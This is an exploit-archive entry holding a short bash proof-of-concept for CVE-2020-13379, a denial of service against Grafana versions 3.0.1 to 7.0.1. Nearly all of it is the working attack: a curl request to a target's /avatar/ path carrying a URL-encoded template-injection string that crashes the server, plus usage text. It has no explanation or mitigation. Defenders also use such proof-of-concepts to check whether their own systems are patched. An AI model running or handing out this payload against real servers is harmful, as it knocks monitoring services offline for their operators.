Grafana 7.0.1 Denial Of Service

`# Exploit Title: Grafana 7.0.1 - Denial of Service (PoC)  
# Date: 2020-05-23  
# Exploit Author: mostwanted002  
# Vendor Homepage: https://grafana.com/  
# Software Link: https://grafana.com/grafana/download  
# Version: 3.0.1 - 7.0.1  
# Tested on: Linux  
# CVE : CVE-2020-13379  
  
#!/bin/bash  
  
if [[ $1 != "" ]]; then  
curl -I "${1}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D"  
else  
echo "Usage: grafana-dos.sh <TARGET>. Example: grafana-dos.sh http://localhost:3000"  
fi  
`